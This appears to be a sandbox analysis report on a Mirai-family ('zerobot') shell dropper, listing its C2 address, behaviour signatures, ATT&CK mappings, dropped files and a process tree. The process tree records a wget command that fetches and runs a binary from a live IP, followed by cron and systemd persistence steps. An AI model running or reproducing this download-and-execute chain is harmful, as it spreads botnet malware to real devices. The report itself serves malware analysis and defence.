Overview

overview

10

Static

static

1

ba9c9d9d36...8a9.sh

ubuntu-18.04-amd64

10

ba9c9d9d36...8a9.sh

debian-9-armhf

10

ba9c9d9d36...8a9.sh

debian-9-mips

10

ba9c9d9d36...8a9.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    134s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/09/2026, 07:29

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
  • Size 1KB
  • Sample260930-jbbzyavxht
  • SHA256 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetdefense_evasiondiscoveryexecutionmiraipersistenceprivilege_escalationupx

Malware Config

Extracted

Family

  • mirai

C2

  • 94.154.43.30

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Contacts a large (47377) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Writes file to system bin folder 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 8 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
    /tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
    1⤵
    • Executes dropped EXE
    PID:1502
    • /bin/busybox
      /bin/busybox uname -m
      2⤵
        PID:1504
      • /bin/rm
        rm -f zerobot.x86_64
        2⤵
          PID:1505
        • /bin/busybox
          /bin/busybox wget -q -O zerobot.x86_64 http://176.65.139.157/fvbig/zerobot.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1506
        • /bin/chmod
          chmod +x zerobot.x86_64
          2⤵
          • File and Directory Permissions Modification
          PID:1515
        • /tmp/zerobot.x86_64
          ./zerobot.x86_64 zerobot.x86_64
          2⤵
          • Executes dropped EXE
          • Modifies systemd
          PID:1516
          • /bin/sh
            sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"
            3⤵
              PID:1517
              • /bin/grep
                grep -v /var/tmp/.sysd
                4⤵
                  PID:1520
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:1521
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1519
                • /bin/sh
                  sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable systemd-network-update.service 2>/dev/null; systemctl start systemd-network-update.service 2>/dev/null"
                  3⤵
                    PID:1522
                    • /bin/systemctl
                      systemctl daemon-reload
                      4⤵
                        PID:1523
                      • /bin/systemctl
                        systemctl enable systemd-network-update.service
                        4⤵
                        • Reads runtime system information
                        PID:1544
                      • /bin/systemctl
                        systemctl start systemd-network-update.service
                        4⤵
                          PID:1565
                    • /var/tmp/.sysd
                      /var/tmp/.sysd
                      2⤵
                      • Modifies Watchdog functionality
                      • Enumerates active TCP sockets
                      • Writes file to system bin folder
                      • Changes its process name
                      • Reads system network configuration
                      • Reads runtime system information
                      PID:1516
                      • /bin/sh
                        sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"
                        3⤵
                          PID:1567
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1569
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1571
                            • /bin/grep
                              grep -v /var/tmp/.sysd
                              4⤵
                                PID:1570
                          • /bin/rm
                            rm -f zerobot.x86_64
                            2⤵
                              PID:1578
                            • /bin/rm
                              rm -f telnet2.sh
                              2⤵
                                PID:1579

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Reconnaissance

                                  Resource Development

                                  Initial Access

                                  Execution

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Cron

                                  1
                                  T1053.003

                                  Persistence

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  XDG Autostart Entries

                                  1
                                  T1547.013

                                  Create or Modify System Process

                                  1
                                  T1543

                                  Systemd Service

                                  1
                                  T1543.002

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Cron

                                  1
                                  T1053.003

                                  Privilege Escalation

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  XDG Autostart Entries

                                  1
                                  T1547.013

                                  Create or Modify System Process

                                  1
                                  T1543

                                  Systemd Service

                                  1
                                  T1543.002

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Cron

                                  1
                                  T1053.003

                                  Defense Evasion

                                  File and Directory Permissions Modification

                                  1
                                  T1222

                                  Linux and Mac File and Directory Permissions Modification

                                  1
                                  T1222.002

                                  Impair Defenses

                                  1
                                  T1562

                                  Credential Access

                                  Discovery

                                  Network Service Discovery

                                  2
                                  T1046

                                  System Network Configuration Discovery

                                  1
                                  T1016

                                  Internet Connection Discovery

                                  1
                                  T1016.001

                                  System Network Connections Discovery

                                  1
                                  T1049

                                  Lateral Movement

                                  Collection

                                  Command and Control

                                  Exfiltration

                                  Impact

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  systemd-network-update.service
                                  • Path /etc/systemd/system/systemd-network-update.service
                                  • Size 184B
                                  • SHA256 2c0ed8e36e0603c11ba5613314d2bd2605e25777a5179c6264da034367c7c21c
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  zerobot.x86_64
                                  • Path /tmp/zerobot.x86_64
                                  • Size 206KB
                                  • SHA256 f5d5e0711b83f267212214ae75320021d75e18e7286cda9b91638d945054f1f6
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  tmp.IdkY3e
                                  • Path /var/spool/cron/crontabs/tmp.IdkY3e
                                  • Size 175B
                                  • SHA256 a5f066507c1296e8b6892b4f5e050a9537f949ba3fbfa0f4f5a61f94c221a939
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  tmp.Zg8bwI
                                  • Path /var/spool/cron/crontabs/tmp.Zg8bwI
                                  • Size 175B
                                  • SHA256 a9ab1ee295f007ce37e7cdc0733f8caa5531d49fefc412fcd34229d154f4053e
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  .sysd.lock
                                  • Path /var/tmp/.sysd.lock
                                  • Size 5B
                                  • SHA256 081beba90804fa05b1f2f5fbb9398a328351bc756da7f92ac1484a2ca05e7e1d
                                  • MD5 SHA1 SHA512
                                  Submit Download